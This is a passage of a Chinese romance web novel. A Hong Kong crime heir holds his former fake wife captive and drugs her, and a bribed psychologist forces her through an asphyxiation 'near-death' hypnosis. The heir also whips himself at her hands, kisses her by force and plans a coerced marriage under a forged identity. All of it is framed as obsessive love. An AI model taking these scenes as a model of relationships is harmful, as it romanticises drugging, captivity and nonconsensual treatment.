她摇了摇头:“我也不知道,我没有名字哦。 但是我不会骗你哦,骗人的小孩鼻子是会变长的,婉婉姐姐真的会消失哦......” ——嗡—— 白楚年再也听不见任何声音了,他的大脑又开始嗡鸣。 他的婉婉会消失...... 一想到又要失去她,心就开始一抽一抽的痛。 他伸手捂着胸口,背脊剧烈颤动,忍不住吐了一口血。 浓郁的血腥味在房间里散开,空气像生了锈。 不能...... 他不能再次失去婉婉。 他用乞求的目光向菘蓝,小心翼翼地提出请求: “我想见她,想跟她道歉。” “楚年......” 一声轻唤,让男人的心神跟着颤了颤。 他抬眸看了过去,看到了一张宁静温柔的脸。 他心头一阵狂喜。 太好了,他的婉婉还在。 他刚想开口喊婉婉,却发现眼前的人突然笑了,笑得很俏皮。 记忆中,他的婉婉好像也这样笑过,但是极少。 “你是要跟我道歉吗?” 她眉眼柔和地看着他,嫣然一笑,笑容如港城街头的三角梅,鲜活动人。 白楚年点了点头:“对,我要跟你道歉。” 她眸光闪了闪,缓缓走到他身边,半开玩笑半命令道: “那你,跪下!” 第八十一章 请罚我 “那你跪下,我要罚你。” 她咬着红艳艳的唇,笑靥如花,语气似怒非怒,似嗔非嗔。 美人薄怒,活色生香。 白楚年痴痴地看着她,撩起衣摆,单膝跪下。 他从没跪过人,但对她例外。 他前半生为了巩固家族势力,机关算尽,步步为营,斩除所有威胁,坐稳了港城第一把交椅。 这么多年的尔虞我诈,他养成了宁愿我负天下人,也不愿天下人负我的秉性。 他从不后悔自己做的任何决定,但唯独一件事,他做错了。 两年前,他手下出了叛党,叛党劫持了婉婉,试图引他上钩。 他以为叛党出自李家,并不会真的对婉婉动手,他便以她为饵设下陷阱,想将叛党和李家一网打尽。 结果,李家并没有参与这件事,落入陷阱走投无路的叛党,选择带着婉婉同归于尽。 他的婉婉伤得很重,全身都是血,最后在他的怀里停止了呼吸。 直到前不久,他才知道,她当时只是进入了假死状态。 然后,她借着那次机会,从他的身边逃走了。 如果没有那件事,他的婉婉也不会离开。 悔恨像潮水一样从四面八方涌来,白楚年心口隐隐作痛。 他看向面前的女孩,缓缓牵起她的手,低头亲吻她被镣铐磨破的手腕。 他又弄伤了她。 他的唇瓣落在她的脉搏上,他通过脉搏来确认她心跳的频率。 她的心跳很快,好像是因为生气而心跳加速。 “很抱歉又让你受伤,请你罚我,怎么罚我都行,我都认。 你不要生气,不要消失,不要离开我.......” 男人狭长的狐狸眼微微泛红,他声音颤抖,但神情无比虔诚,虔诚到卑微。 他单膝跪在地上,长长的发丝自然垂落,那张莹白如玉的脸美得像凌晨三点的海棠花。 菘蓝居高临下地看着他,眸光颤了颤。 她坐在他屈起的右膝上,侧着身子,伸手捏起他的下巴,低低道: “可是,该怎么罚呢......” 两人挨得极近,彼此呼吸交缠,身体的温度隔着薄薄的衣料相互传递,明明温热却灼人。 白楚年喉结动了动。 他一把扯掉上衣,露出白皙如玉的胸膛,他紧绷的腹肌如雕刻的玉石,整齐地排列着。 因为单膝跪着,他的腰窝往后折叠,窄窄地凹下去,莫名的蛊。 他将鞭子递到菘蓝手里,红着眼睛道:“给你打,狠狠打。” 指腹在鞭子凸起的纹路上缓缓游移,她眸光微微闪了闪。 这一鞭子打下去,应该可疼了。 “啪!” 软鞭重重落在白楚年的后背,他白皙如玉的背部瞬间起了一道鞭痕。 沁着血,紫红紫红的。 他咬着牙关,眉头都不带皱一下。 没有听到预想中忍痛的闷哼声,菘蓝提着鞭子,微微偏了偏头。 她打轻了? “啪!” 她加重了力道,一鞭子下去,皮开肉绽。 白楚年抿着唇,痛得额头沁了一层细密的汗珠。 眼见又效果,她抬手又是一鞭,重重抽在他的手臂上。 她没有手下留情,她就是纯报复。 “啪啪啪!” 一连串的鞭声在屋子里回荡,男人的上半身鞭痕交错,血迹斑斑。 他玉石一样的身体因为鞭打变得绯红,他疼得身体起了一层薄汗,汗水像雾一样覆在肌肉上。 菘蓝打累了。 她侧坐在男人屈起的右膝上,指腹缓缓在他胸膛的鞭痕上游移,然后顺着伤口狠狠掐了进去。 “嗯.....” 他终于忍不住闷哼了一声。 听到他痛得闷哼,她终于笑了,笑得温柔又致命。 她像一个行刑的刽子手,用最残酷的手段折磨着囚徒。 奇怪的是,白楚年并不感觉到痛了,他感觉伤口处泛起密密麻麻的痒意。 他的身体升起一种奇异的快感,刺激着大脑的每一根神经。 就像按摩,明明很痛却痛得很舒服,痛得很真实,痛得很快乐。 菘蓝掐累了。 折磨人也是个体力活。 她刚想收回手,却被白楚年一把摁住,他语气中带着一丝兴奋: “继续,不要停。” 看到他一脸期待的眼神,菘蓝愣了愣。 不是,她......还给他抽爽了? 这施虐狂怎么还成了受虐狂?这么变态的吗? 菘蓝:“不要了,我累了。” 她才不要让他爽呢。 白楚年抬起泛红的眼尾,看着她: “婉婉,那你气消了吗?” 他仰着头,白玉一样的身子布满了鞭痕,血迹斑斑,像被暴雨凌虐摧残过的海棠,有一种破碎的美感。 他说:“让你打到气消为止。” 菘蓝连忙摆手:“不了不了,我累了。” 再打下去就得不偿失了,她只是想狠狠报复他,没想让他爽。 男人捉住她的手,嗅着她温热的体香,闭着眼睛寸寸吻了上去。 他的婉婉真好,她不忍心了,她是在意他的。 他好痛,可是他好开心。 他突然紧紧抱住她,站起身,托着她的臀部往上一颠,强制让她的双腿贴着他的腰。 她的身体沾了他的血,像落了红梅的雪地,美得让人失神。 “你.....你干嘛......” 菘蓝在他怀里挣扎,她突然有种不好的预感。 白楚年没有说话,他感受着她身体的温热和柔软,在她耳畔吐息道: “婉婉,我们把夫妻之间没做的事做了吧。” 他其实一直忍得挺辛苦。 在港城的时候他要装瘫子,他不能碰她。 但他真的很想...... 现在他已经扫清了所有障碍,坐稳港城头把交椅的位置,不需要再藏拙隐藏实力。 今晚,他想跟她做真正的夫妻。 男人的呼吸越来越粗重,眸色一片暗沉。 他托着她,他不容抗拒地把她抵在墙上,狠狠压了下去。 菘蓝心头一阵慌乱。 “等等!” 他抬眸看着她,眼底一片欲色:“等什么?” 菘蓝唇角勾起一抹冰冷的嘲弄,她双手攀上他的脖颈,对着他的耳垂轻轻吹了口气。 用一种极其恶毒的口吻道: “可是,你跟我做,难道不是对她的一种背叛吗?她不会原谅你的哦。” 第八十二章 会被她逼疯 白楚年心头狠狠一震。 他低头看着菘蓝,发现她神情嘲弄,嘴角漾着促狭的笑意。 “呐,你要是跟我做,算不算出轨啊?” 她笑得很俏皮,语气娇娇弱弱,却字字戳心。 看着她的神情,男人瞬间明白了一切。 他像被淋了一盆冷水,从里到外,淋了个透心凉。 “你,真的很恶毒。” 他一个字一个字地往外蹦,每个字都带着咬牙切齿的恨意。 他第一次见到这么坏这么恶毒的女人。 她把他玩弄于鼓掌之间,把他当一条狗耍。 恶毒极了,狠极了。 菘蓝玩弄着耳畔的发丝,浅浅一笑: “是啊,我确实恶毒,我本来就不是什么温柔善良的人。” 她的主人格和婉婉恰恰相反。 她爱骗人,能为了达到目的牺牲很多东西,她自私冷漠,她阴险狡诈,她最会伪装。 接下李家委托的时候,她跟真正的李婉单独接触过。 真正的李婉确实是一个很温柔很善良的人,她周身散发着一种纯粹、干净温柔的磁场。 样貌、语气和神态都可以伪装,但人与人相处时感知到的那种磁场,伪装不了。 对于白楚年这种心思极其细腻的人,稍微有点不一样,他都能感受得出来。 她本人和李婉相差实在太大了。 为了不被看穿,更稳妥地完成任务,她催眠了主人格,内心塑造了一个单纯、温柔善良的角色。 “我真想杀了你.....” 白楚年气到发抖,说话都带着颤音。 他从来没遇到过这么讨厌这么棘手的女人。 “可是,你已经杀了我一次啊。” 她看向他,语气温温柔柔,澄澈的眼神带着少许无辜。 她好像又变回了李婉。 白楚年快要疯了。 他心跳得好快,胸腔被震得发麻,他的头好痛,痛得快要炸裂,太阳穴一跳一跳的痛。 他抬眸看向菘蓝,神情一阵恍惚,他的视网膜像起了一层雾,模模糊糊的。 他好像,也有点分不清谁是谁了。 “噗......” 他脊背一颤,吐了一口血。 他在血腥味和疼痛之间找到了一丝清明。 他忍着痛意喊来保镖,指着菘蓝道:“把她关进舱底,等会带回别墅。” ** 深夜,白楚年的船只靠了岸。 菘蓝被装进箱子抬进了别墅。 她被锁在一个幽闭的房间里。 房间布置得很豪华,有暖气,有水,有食物,有柔软的床和几大柜子的衣物。 她没有再像犯人一样戴着镣铐。 但是,她被豢养了。 另一间房子里。 白楚年拥着狐裘坐着,他脸色苍白,唇瓣毫无血色,整个人十分憔悴。 他对面坐着一个心理医生。 他问:“我现在是什么情况?” 心理医生推了推鼻梁上的眼镜: “白先生,经过我的测评,我发现您似乎受过精神虐待。 您的身体会不受控制地发抖,会胸闷,会感到眩晕,会头痛。 这些都是精神受到创伤后的应激反应。 您的大脑感知力下降,思维变得混乱,是应激反应后产生的疲惫和认知失调。 白先生,我可以很负责的告诉您,您遇到的那个人非常可怕。 那样的人,会把您逼疯的,请您及时远离。” 听完心理医生的话,白楚年拧了拧眉。 他道:“不,我不能远离她。” 他现在也没法远离她,他只要看见她,就会产生一种愉悦的幸福感。 他太迷恋那种感觉了。 “白先生,我没有开玩笑,如果您继续跟那人接触下去,您会彻彻底底被她控制。” 心理医生语气极为认真。 白楚年眯着眼眸,嘴角勾起一抹冷笑,他摇了摇头: “医生,假如,我是说假如,假如你能催眠她,让她的主人格沉睡,那她是不是就能一直被我控制了?” 心理医生愣了愣,结结巴巴道: “额,这种事情是背叛良俗,有违道德伦理的,我不能......” 听到这话,白楚年眸光一凛:“所以,这种事,你可以做到?” 心理医生:“额........” 白楚年:“一千万。” 心理医生身体颤了颤:“我.....这......” 这也太多了吧,他一辈子也赚不了这么多钱啊。 白楚年:“我说的是一天一千万。” ......... 心理医生没有想到,差点把港城太子爷逼疯的人,居然是个极其漂亮的小姑娘。 她看上去柔弱、无害、楚楚可怜。 他喊醒她的时候,她睁着惺忪的睡眼,像一只刚出生的幼猫。 菘蓝抱着毛绒公仔,窝在沙发里,懒懒地看了心理医生一眼:“你谁啊?” 白楚年: “他是我给你请的营养师,你身体太虚了,他会根据你的身体情况,给你定制营养餐。” 白楚年把小雪貂也带来了。 小雪貂一看到菘蓝,就嗖得一下跳到她怀里,亲昵地蹭着她的脸颊。 小家伙的皮毛摸起来舒服极了,菘蓝抱着它,一通乱摸。 心理医生眯着眼睛,笑得很和蔼: “小姐,可否让我把一下脉?我需要根据您的身体状况,来调整食谱。” 他害怕菘蓝会对心理医生有所防备,便以营养师的身份接近她。 “我不需要什么食补,有吃有喝我就满足了。” 她很不给面子。 白楚年很强硬道:“你只能吃营养师准备的食物,不然你就饿着。” 菘蓝瞪了白楚年一眼,把手腕横在心理医生面前: “那你把脉吧。” 心理医生把完脉,问道: “小姐,你是不是睡眠有问题,经常做梦,睡眠时间短,还很容易醒?” 菘蓝点了点头。 她确实很少一觉睡到天亮。 心理医生:“那我可以通过食疗和冥想疗法来帮你解决这个问题。” 冥想疗法? 听到这个词语,菘蓝瞬间觉得有些奇怪。 一个营养师会把脉,懂食疗就算了,还懂冥想疗法? 突然,她嗅到了一股淡淡的消毒水的味道,那种味道来自眼前的营养师。 把脉、食疗、冥想疗法、消毒水...... 把这些串联起来后,她瞬间懂了。 哦..... 原来是找了个心理医生对付她啊。 第八十三章 从未爱过你 “小姐,除了食补,今天我还会带您进行冥想训练,以后每天训练半小时,这样就能改善您的睡眠质量。” 通过催眠让主人格沉睡,并不难。 但如果想让主人格彻底沉睡,则是一个循序渐进的过程。 心理医生很专业,他知道不能操之过急。 菘蓝窝在沙发里,晃荡着翘起的小腿,她足尖踩在医生的膝盖上,声音娇娇嗲嗲: “我饿了,先吃饭可以吗?” 她的脚趾莹润粉嫩,裸粉色的指甲像一小排珍珠,在医生黑色的裤腿上,显得格外扎眼。 医生耳根子瞬间红了,眼睛都不知道该往哪里看。 白楚年黑着脸,抓着她的脚踝放到沙发上,一个字一个字地往外蹦: “你简直不知羞耻。” 她单手支着下巴,笑吟吟道:“关你什么事嘛。” 白楚年冷着脸,眼底覆了一层碎冰:“当然关我的事。” 她噗嗤一笑:“怎么?你也爱上我了?” 白楚年攥紧手心,愤恨道:“我不许你顶着她的样子,对别的男人做这种事。” 菘蓝眨了眨眼睛,抚摸着自己的脸: “你搞清楚,这张脸本来就是我的,婉婉根本没有脸好吗。 不对,她根本就不存在好吗,她是我为了骗过你,捏造出来的人格。 还有一点哦,就算她存在,她也从没有爱过你。” 白楚年怔住了,他像掉进了冰窟,全身的血液瞬间凝结。 他睁着眼睛,难以置信地看着她:“你说什么?” 菘蓝:“你还不明白吗?你一直以来都犯了个错误。 婉婉她确实温柔善良,乖巧柔顺,你一直想见她,想把我变回婉婉的模样。 可是啊,婉婉也没有真正爱过你啊。 她对你温柔体贴,无微不至,不过是她善,她天生悲悯,会对任何人都好。 你以为她深爱着你?别招笑了好吗?” ——嗡—— 白楚年大脑响起一阵嗡鸣的盲音,他唇瓣雪白,脸色极其难看。 失而复得的欣喜和大梦一场的怅然,交织在一起疯狂纠缠。 他以为,他亲手害死了深爱他的人,每日陷在懊悔和痛苦之中。 结果,她没死,他一开始很开心,后来又愤怒,他觉得自己被骗了。 然后李家跟他说,婉婉是存在的,是她分裂出来的副人格。 那一刻,他开心极了,原来他真的有被爱过,她的温柔相待和深情陪伴也都是真的。 而现在,她告诉他,婉婉也从未爱过他! 他从大悲到大喜到愤怒,再从欣喜到失落到怅然。 高起跌落,反反复复。 情绪这条疯狗,咬得他灵魂出血,扯得他精神发痛。 “噗......” 白楚年喉咙一甜,猛地吐了一口血。 血溅到菘蓝白皙的脚背上,红得刺眼醒目。 她用湿巾轻轻拂去,然后把用过的湿巾递给白楚年,看着他唇瓣的血迹笑道: “你要不要擦擦?” 她笑得很恶魔。 “哦对了,你最好让旁边这位医生,给你开点奥沙西泮之类的药,不然我怕你情绪太激动,晚上睡不着哦。” 旁边的心理医生愣了愣。 原来,她早就看出来了? 这一战,白楚年完败。 “白先生,您暂时还是不要跟她接触了,她对您影响太大了,她三言两语就能让你情绪崩溃。” 心理医生掏出手绢擦了擦额头的冷汗。 他还从来没有见过这么难搞的人。 白楚年对医生的话置若罔闻,他攥着湿巾,神色凄然道: “她刚刚说的都是真的吗?她会不会在骗我?” 他不愿意相信,也不想信。 心理医生擦了擦汗,努力安慰道: “这个......也说不准,如果您想得到确切的答案,我们只能对她进行深度催眠,让她的潜意识来回答这个问题。 可是我的身份被她看穿了,她不会配合我们的。” 白楚年蹙了蹙眉:“有没有什么强制性的手段?” 心理医生犹豫了一下道:“有,人工濒死体验!人工濒死体验能进行超深度催眠。” 白楚年:“什么是人工濒死体验?” 心理医生:“就是借助仪器让人体验一次死亡的感觉。 人在濒死的时候,自我意识会脱离现实,我再加以引导,很容易就能探知到一些东西。” 白楚年:“对她会产生什么副作用吗?” 心理医生:“应该不会。” ** 他们在食物里放了安眠药。 菘蓝醒来的时候,发现自己躺在一个仪器上,头部罩着一个玻璃罩,身体被束缚着。 她要进行窒息濒死体验。 实验室的仪器和生命监测仪发出冰冷的滴滴声。 玻璃罩中的氧气开始缓慢抽离,菘蓝觉得好像有人在掐她的脖子。 窒息感越来越强烈,她的喉咙好像塞了一堆湿透的棉花,又重又闷。 呼吸变得异常困难和痛苦。 她的指甲在金属扶手上划出一道道划痕。 好难受...... 好窒息...... 氧气一点点抽离,她的脸慢慢变成了青白色。 随着时间过去,她的瞳孔也开始涣散,昏昏沉沉中,她感觉自己的身体变得越来越轻,然后飘进了一个黑色隧道...... 看到她目光涣散,意识昏沉,医生关掉仪器,开始解除她身体的束缚。 医生用舒缓的声音进行引导: “别害怕,大胆往前走,你的身后有我.......” 她继续在漆黑的隧道里前行,直到听到耳畔有人在喊她婉婉。 ........... 模拟实验室里。 双眸失神的菘蓝躺在白楚年怀里,他轻轻用手抚摸着她的脸,唤道:“婉婉.....” “婉婉你还记得我们一起种的三角梅吗?它现在开得很美,我带你回去看好不好?” 她木讷地点了点头。 白楚年一阵欣喜,轻轻拍着她的背:“那回去之后,我们再也不分开了,像以前那样相亲相爱。” 听完,她愣了一下。 沉默了几分钟后,她问道:“什么是相亲相爱?” 白楚年身体一怔,“就是像以前那样啊,你对我好,深爱着我,我也对你好,也爱着你。” 她摇了摇头:“我不懂。” 第八十四章 重新开始好不好 白楚年心情很复杂。 酸甜苦辣咸混在一起,舌尖一片麻木。 她又淡淡道:“我没爱过人,也没被爱过。” 男人心头狠狠一颤,瞬间说不出话。 原来在她心里,他们从未相爱过。 他凝望着她的眼睛,哑着嗓子凄然道:“婉婉.....我们重新开始好不好?” 她是骗了他,可他一开始也把她当做牵制李家的棋子。 以前,他们两人之间,掺杂了太多欺骗、提防和算计。 他想重新开始。 “怎么重新开始?她都不在了,我快感受不到她的存在了。” 菘蓝的眼神突然变了,涣散的眸子一片漆黑,像深不见底的寒渊。 她轻笑着,眼底却没有一丝笑意。 她看上去十分冷漠,像个没有感情的机器人。 白楚年发现她的样子很不对劲,意识到她又切换了人格,问道:“你是谁?” 她说:“我是管理员。” 白楚年有些莫名其妙:“什么管理员?” 她不说话了,像机器人一样眼神空洞地站在原地。 白楚年看向一旁的心理医生。 心理医生解释道:“这位小姐身体里应该有好几个人格,现在跟你对话的,应该是管理员小姐,不是婉婉小姐。” 白楚年红着眼睛,声音很焦急: “我要你赶快把婉婉唤醒,你没听见吗?她说婉婉要消失了!” 心理医生想了想,犹豫了一下道: “白先生,我觉得没有进行下去的必要了。 您现在要承认,您和这位小姐并没有真的相爱过。 既然不曾相爱,为什么还要苦苦纠缠下去呢? 多重人格之间本就会相互融合,主人格占据主导地位,副人格消失也很正常。 这个女孩有冷漠的一面,俏皮的一面,狠毒的一面,也有温柔善良的一面。 您可以把婉婉看做她温柔善良的化身,您一次次唤醒她的副人格,对她的病情是很不利的。 我不是在教育您,我只是不希望您继续分裂她,因为这样,你会把自己也变得很分裂。 她一切换人格,您就变得暴躁失落,患得患失,您这样下去真会成为一个疯子。 我感觉你们之间就是在相互折磨,何苦呢?” 医生很敢说。 白楚年愣在了原地,久久说不出话。 他看着菘蓝苍白的小脸,看着她手腕和脚腕上的勒痕,又想起自己这些天起起伏伏的情绪。 心口像压了一块石头,堵得不行。 他不知道自己在干什么,也不知道该拿她怎么办。 他不甘心放她离开,可是好像也没有理由继续把她留在身边。 他很迷茫。 ** 菘蓝被送回了房间。 过了很久,她涣散的双眸重新聚焦,然后落到在一旁酣睡的小雪貂身上。 她抬头看了眼时间。 凌晨一点。 不是刚吃过晚饭吗?怎么一下子到凌晨了? 难道她......又解离了? 每当她感到十分痛苦的时候,就会自主抽离意识,她会变得情感淡漠,不管是悲伤、恐惧还是开心,她都感知不到。 但在情绪解离的时候,她对时间和记忆的认知也会出现偏差。 菘蓝有些烦闷地拽了拽雪貂的尾巴: “别睡了,起来陪我。” “吱吱!” 被强制开机的小雪貂很不开心,挥舞着小瓜子控诉,但没一会就躺在她怀里哼哼唧唧,求摸摸求抱抱。 门口,看到这一幕的白楚年觉得很不可思议。 他本以为,她对小白应该没什么感情。 他突然想到什么,眸光闪了闪,转身悄然离去。 过了一会。 菘蓝房间的门,吱呀一声被推开了。 她往门口看了眼,半天也没看到人进来。 等她收回视线的时候,突然发现脚边趴着一个小男孩。 “豆豆?” 豆豆:“嘘!小声点,我是偷偷爬进来哒!” 怪不得她刚刚没在门口看到人,原来是这小家伙被沙发挡住了视线。 菘蓝伸手捏了捏他的脸:“小不点,你来干嘛?” 豆豆抱着小恐龙,眨巴眨巴眼睛,一脸天真道:“你是不是小婉呀?” 菘蓝挑了挑眉:“嗯哼?你为什么这么问?” 难道这小屁孩都能一眼认出她? 豆豆:“你跟小婉真的好像哦,你们发型一样,身高也差不多,你是不是把脸上的疤去掉了?” 她没有回答,狠狠刮了一下豆豆的鼻子: “没大没小没礼貌,叫我姐姐。” 这小屁孩,在港城的时候就不喊她嫂嫂,一直跟在她屁股后面,喊她小婉。 豆豆往后躲了一下,不客气地用小恐龙指着她: “哼,你不是小婉,小婉不会说我没礼貌的!小婉对我最好,对我最温柔了!” 她点了点头: “嗯嗯,对的,我不是,所以我也不用纵容你。” 她拎着豆豆的背带裤,一下子把他丢到了门外。 砰得一声,门被关上。 豆豆坐在冰冷的地板上愣了愣,然后他转头看向旁边的白楚年: “呜哇,哥哥,我不要这个女人当我嫂嫂,她好凶。” 白楚年:“不许哭。” 豆豆的嘴巴瞬间扁成了小勺子。 “呜呜,哥哥你也欺负我,我想小婉婉......我要婉婉嫂嫂。” 白楚年拧了拧眉。 他还以为她对待豆豆,也会像以前那么温柔呢。 结果并没有。 他也不知道该拿她怎么办了,他总忍不住想接近她,想看着她。 他也不知道他是怎么了。 “喂,你们两个都站在门外干什么?是有什么话想跟我说?” 菘蓝倚在门边,双手抱胸,似笑非笑地看着两兄弟。 豆豆往白楚年身后缩了缩,探出半个脑袋打量她。 白楚年想了想道:“我要带你回港城。” “呵呵.....” 她呵了两声:“你还没死心啊?你还是听医生的话吧,别靠近我了......” 这人该不会被她虐上瘾了吧? 白楚年抿着唇角,喉结微微动了两下,缓缓道:“我现在想清楚了,我要带你回去,跟你结婚。” 菘蓝:“!” “那你要不一刀杀了我吧。” 白楚年摇头:“不!我要你做我妻子。” 菘蓝瞪大了眼睛:“你疯了!” 白楚年看着她,惨然一笑:“是啊,我早就疯了。” 第八十五章 他快受不了了 他早就疯了。 她是他唯一无法掌控的人。 也是唯一把他玩弄于鼓掌中的人。 她是个危险的女人,总能轻易挑拨他的情绪。 让他愤怒,让他吃醋,让他痛苦,让他怅然若失,让他欣喜若狂,让他恨之入骨。 从来没有任何一个人,给予他这种体验。 让他觉得刺激又上瘾。 医生说他再跟她纠缠下去,不过是在折磨自己,也在折磨她。 可是,他已经迷恋上了这种感觉。 他明白了一件事。 爱情,不就是既折磨自己又折磨别人吗。 白楚年让人把豆豆抱走,他一步步走向菘蓝,把她逼到墙角,用一种扭曲又疯狂的眼神看着她: “你是不是觉得,不停切换人格玩弄我很爽?” 两人挨得极近,目光相擒。 她背靠着墙,下巴微抬,很诚实道:“有点。” 能把港城太子爷逼疯,她可以吹一年了。 白楚年俯身看着她,唇角微微勾起,在她耳畔吐息道:“那你就继续玩弄我,不许停。” 说完,他强硬地抬起菘蓝的下巴,狠狠吻了上去。 他的吻强硬、粗鲁、急躁,都不能算是吻,只能说是单方面的撕咬。 “你......” 菘蓝被咬疼了,她使劲推开白楚年,然后反手给了他耳光。 “啪!” 清脆的巴掌声在走廊里回荡。 两人嘴角都溢着血,一个唇瓣被咬破,一个嘴角被扇出血。 白楚年伸手抹去嘴边的血迹,冲她勾唇一笑: “亲爱的,不管你是温柔善良的婉婉,还是狡猾叛逆的婉婉,还是冷漠无情的婉婉,我都认了。 三天后,我们回港城,我会给你一个全新的身份,再娶你一次。 我们就这样彼此折磨下去吧。” 男人眸光熠熠,他像一个把猎物逼到死角的猎人,眼底闪烁着恶劣且得意的兴奋。 菘蓝垂着眸子,不安地咬着唇,脚后跟抵着墙根。 这人脑子有病,绝对有病。 她仰起脑袋,反驳道:“我不嫁你,凭什么你要娶,我就要嫁?” 白楚年狭长的狐狸眼微微眯起,他伸出手,轻轻抚摸她的脸颊: “亲爱的,你好想忘记了一件事,你现在是我的阶下囚,你别无选择。 哦对了,有一件事我还在犹豫,我在想要不要邀请沈错来参加我们的婚礼。” 听到他还要邀请沈错,菘蓝惊讶得瞬间瞪大了眸子: “不是,你是真的疯了?” 她现在深深怀疑白楚年被她虐得精神出问题了。 他要跟她结婚,是想继续折磨她,这个动机她能理解,但是他邀请沈错干嘛? 白楚年加重了手心的力道,紧紧箍住菘蓝的腰,俯身抵着她的额头,恶狠狠道: “我确实疯了啊,我一想到你不知道用了什么手段,让他这么迷恋你,这么在意你,我就忍不住想发疯啊!” 她可能坐在他的大腿上索吻,她可能窝在他的怀里撒娇,她可能在他耳边说情话........ 这些,光是想想,他都快要受不了了。 更别说,他们还可能....... “我决定了,我要邀请他来参加我们的婚礼,我要他亲眼看着我们接吻,亲眼看着我们交换钻戒,亲耳听到你喊我老公。” 他像个失去理智的疯子,眼神发狠泛红,透着浓浓的嫉妒和愤怒。 他突然又想到了什么,半眯的眸子猛然睁开,露出一抹戏谑的光。 他被迫抬起她的下巴,幽幽道: “宝贝,你到时候也装作不认识他好不好?就像你当初装作不认识我一样。 你也让他尝尝那种震惊、低落、质疑、失而复得又怅然若失的感觉好不好?” 菘蓝:“.........” 她明白了。 这人是,他淋过雨,也要让别人淋一遍。 怎么比她还坏。 菘蓝:“你就不怕他发疯杀了你?” 白楚年:“那就比比谁更疯!” 男人嘴角露出疯狂的笑意,狭长的眸子淬了一层寒冰。 菘蓝垂着眸子,身侧的手悄然攥紧。 港城现在已经是白楚年的天下了,她一旦被带回去,根本不可能再脱身。 她要在三天内,想办法逃出去。 在海上的时候,她不好逃跑,但现在这里是陆地,只要她能逃出这幢别墅...... “你别想逃,从今天起,我亲自看着你,一步都不离开。” 男人仿佛看穿了她的心思,冰凉的唇贴着她的耳廓,说出的每一个字,都窒息到令人绝望。 菘蓝冷着脸,把男人推到了一边。 她现在心情差到了极点。 她转身走进房间,没有关门。 因为她知道关门也没用,她要是把门关上了,白楚年说不定直接把门卸了。 她进了房间后,白楚年也跟着进去了,还命人把自己的东西搬了过来。 从今天起,他要跟她住在一起。 菘蓝一屁股坐到沙发上,随手打开电视,心烦意乱地换了几个台,结果越看越心烦。 “烂透了!” 死狐狸,烂透了! 白楚年贴到她身边,圈着她的腰,问道:“什么烂透了?” 菘蓝面不改色:“我说电视剧啊,都好烂啊,没一个好看的。” 白楚年:“那等回到港城,你想看什么,就让导演给你拍什么,你想让哪个大导演给你拍?我立马把他喊过来。” 菘蓝没说话了。 不否认,白楚年确实有这个实力,人家都是请导演,他是直接喊。 她无聊地摁着遥控器,切换到了新闻频道。 新闻频道正好在报道她坠海失踪的事情。 新闻频道CCV8: “插播一条相关新闻,晚上七点十分,沈氏集团继承人为了寻找五日前不幸坠海的妻子,顶着雷暴天气出海,在海上遭遇龙卷风,翻船坠海,目前生死不知。” “啪嗒......” 啪嗒一声,菘蓝手里的遥控器掉到了地上。 她不可置信地盯着屏幕,呼吸瞬间停滞,微张的唇瓣忘了合拢。 看到她愕然失神的反应,白楚年心头顿时窜起一股醋意。 他双手撑开,把她抵在沙发上,用极具侵略性的目光看着她: “你在担心他?你该不会喜欢上他了吧?” 第八十六章 吵架 他的呼吸扑在她的脸上。 带着一股苦涩清冷的药香味。 他死死盯着她,眼底灼烧的烈火似乎要把人烧穿。 好像但凡她敢说一个“是”字,他就狠狠扑上去,将她活生生撕碎。 菘蓝背靠着沙发,她屈着小腿,抵住男人逼近的身子。 其实她对沈错算不上喜欢,只是看到他为了找她出了事故,下意识担心而已。 “你怎么不说话?你紧张他?你在意他?” 白楚年拧着眉,气压瞬间降低,他强硬地掰起菘蓝的脸,迫使她看着他,语气冷硬道: “你要清楚,你是我的人!” 菘蓝眉眼闪过一丝愠怒。 她很讨厌被人逼迫的感觉。 她这个人啊,百分百吃软不吃硬的。 你硬,她就跟你犟。 你横,她就豁出命跟你斗,即使拼得鱼死网破。 她倔强地抬着下巴,直直迎着白楚年的目光道: “对啊,我是在意他,紧张他,喜欢他,又如何呢?” 如何呢?又能怎? 她轻笑着,带着一丝不屑和讥讽。 白楚年眸光颤了颤,他冷着脸,欺身上前,双手紧紧箍住她的腰: “你在故意气我。” 菘蓝呵呵一笑,把脸别到一边:“没有,我只是在说实话。” 白楚年又把她的脸掰回来,语气认真道: “你就是在气我,你不许这样!你不许为了气我,就.......随随便便说自己喜欢别人......” 他后半句的声线有些沙哑,带着微微的颤音。 眼看这种攻击对男人有效果,菘蓝继续道: “我没有气你,我从不说假话,我就是喜欢他,在意他,紧张他。” 白楚年双手按着她的肩膀,气到眼尾发红: “你不许!不许在我面前说这种话!” 这种话,他听了真的很难受,难受到想杀人。 她是知道怎么气他,怎么拿捏他的。 她真可恶! 他一手箍着她的腰,一手扣着她的后脑勺,俯下身子,冲着她的唇瓣狠狠吻下去。 小嘴巴乱说话,要狠狠惩罚。 菘蓝挣扎着偏过头,抬手挡住: “滚开啊!” 她抬脚踹向白楚年的小腹,结果半空却被抓住了腿。 男人钳着她的脚踝,语气恨恨道:“怎么?他碰你就行,我碰你就不行?” 这话让菘蓝很不舒服,她蹙着眉,回怼道: “你以为你谁啊?凭什么你要碰我,我就让你碰! 再说了,沈错可没有逼迫过我,我都是自愿的。 他的身体比你这个病秧子健硕,他腹肌比你大,他腰比你好,他比你有力气。” 菘蓝也气疯了。 气得开始胡言乱语。 当然,有些话不是胡话。 沈错身材确实很好,腹肌也确实大....... 这些话,白楚年一开始听着挺生气的,后来听着听着觉得不对劲了。 某人是故意在气他。 他平复了一下情绪,笑着看向菘蓝,心平气和道: “你后面那些话,我就当没听见,我回答一下你第一句话。 你说我凭什么? 就凭我是你老公!我跟你结婚两年多了! 我都没怎么碰过你,他沈错算什么? 他充其量算个2+1!他凭什么后来者居上!” 听完,菘蓝哂笑一声: “是吗?你的结婚证上妻子那一栏填着李婉的名字,我又不叫李婉。” 白楚年:“嗯,你不叫李婉,但是你也不叫徐幼蓝!你就是个拿钱替嫁的冒牌货!” 她这样的,等协议到期就跑了,也不可能会爱上谁。 要说爱什么,她应该更爱钱吧。 “等回到港城,你会有一个新身份证。 你会叫李莞,莞尔一笑的莞。 你的父亲是一名工程师,你的母亲是一名教师。 你从小在港湾区长大,七岁就出国留学,一个月前,你学成回国,在旅游途中跟我相遇,我们一见钟情,定下终身。 你会在下个月一号嫁给我,成为我的妻子,你会成为白家的少夫人,享受一生的荣华富贵。” 他给她安排的明明白白。 “呵.......” 菘蓝觉得很无语,也很窒息。 她讥讽了一句:“自以为是的男人。” 